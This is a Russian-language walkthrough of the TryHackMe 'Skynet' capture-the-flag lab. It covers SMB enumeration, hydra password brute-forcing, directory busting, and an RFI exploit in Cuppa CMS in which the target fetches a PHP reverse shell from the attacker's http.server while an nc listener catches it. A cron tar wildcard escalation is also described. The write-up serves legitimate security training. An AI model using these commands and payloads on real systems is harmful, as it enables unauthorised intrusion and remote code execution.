Перейти к содержанию

Skynet


Основная задача - поиск скрытых директорий сайта (enumeration). RFI. Эскалация привилегий в Linux.

Описание задания можно найти на TryHackme

Сканирование

Проведение разведки с nmap на предмет наличия открытых портов:

sudo nmap -T4  -p- IP-ADDRESS
#После получения сведений о портах
sudo nmap -sV -sC -O -p 22,80 IP-ADDRESS 

Обнаружены открытые порты 22, 80, 110, 139, 143, 445.
Получены версии, наименование ПО работающего на открытых портах

Обращаем внимание на 139/445 порты - на хосте развернут smb, его нужно изучить подробнее:

sudo nmap --script smb-enum* IP-ADDRESS

Находим анонимную шару, пользователя SKYNET\milesdyson, шару указанного пользователя (\\IP-ADDRESS\milesdyson) доступ к которой ограничен.

В анонимной шаре (smbclient //IP-ADDRESS/Anonymous -N) находим несколько файлов с логами в одном из которых имеется список различных слов похожих на пароли.

Пробуем подключится через ssh пользователем milesdyson пробуя пароли из списка:

hydra -vvv -t 8 -I -l milesdyson -P ~/FILE_WITH_PASSWORD ssh://IP-ADDRESS

Используется только 8 потоков, потому как если использовать больше, процесс начинает тупить из-за имеющего ограничения количества подключаемых хостов в ssh_config.

Подключится не удалось. Продолжаем разведку и сбор информации для нахождения других векторов атаки.

Изучаем главную страницу web приложения, не находим ничего интересного. Проводим разведку с gobuster или feroxbuster для получения информации о имеющихся директориях и файлов php,txt,js,cgi,html,htm,sh:

feroxbuster -u IP-ADDRESS -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 64 -x php,txt,js,cgi,html,htm,sh``

gobuster dir -t 64-u IP-ADDRESS -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,js,cgi,html,htm,sh``

Находим директорию /squirrelmail. Учитывая, что на машине имелись открытые порты 110 и 139, очевидно, что это почтовый web client. Переходим в него для изучения и работы с ним.

Пробуем авторизироваться через milesdyson используя пароли из списка.

Это можно было сделать Гидрой, но так как паролей не много - перебрал вручную.

Получив доступ к почте, находим письмо в котором содержится пароль к шаре /milesdyson. Заходим туда, для поиска полезной информации:

smbclient //IP-ADDRESS/milesdyson -U SKYNET\milesdyson

Получаем информацию о том, что имеется скрытая директория, название которой состоит из мешанины символов, поэтому её нельзя было найти через gobuster. Переходим в этот раздел, изучаем source code и не находим ничего интересного.

Отступление

На этом этапе "пошел не туда". Обратив внимание на версию squirrel mail решил поискать для нее имеющиеся эксплойты на exploit-db.com. Найдя такие, долго разбирался с ними и пытался эксплуатировать. В итоге идея не увенчалась успехом.

RCE

Вернувшись к скрытой директории решил прогнать её через gobuster и нашел административную панель Cuppa CMS. Вернувшись на exploit-db.com, нашел для неё уязвимость типа RFI которую успешно эксплуатировал следующим образом:

  1. Получил пример использования с exploit-db:
    http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
    
  2. Подготовил PHP reverse shell. Использовал от PentestMonkey сгенерированный на revshels.com

    Не забывай

    Не забывай поменять IP и порт. При замене не забывай про кавычки и прочие служебные символы

  3. Через python http.server раздаем подготовленный PHP reverse shell:

    # Из директории с php-reverse-shell.sh
    python3 -m http.server 8080
    
    запускаем listener:
    nc -lvnp $DESIRED-PORT
    
    и эксплуатируем RFI уязвимость заставляя web сервер выполнять инструкции нашего скрипта:
    http://TARGET-IP-ADDRESS/HIDDEN-DIRECTORY/administrator/alerts/alertConfigField.php?urlConfig=http://MY-IP-ADDRESS:PORT/php-reverse-shell.sh
    

Получаем shell, стабилизируем, находим user флаг.

Эскалация привилегий

Выясняем, что имеется уязвимая задача в /etc/crontab которая запускает tar архив с маской по всем файлам. Эксплуатируем эту уязвимость, получаем root shell, находим root флаг.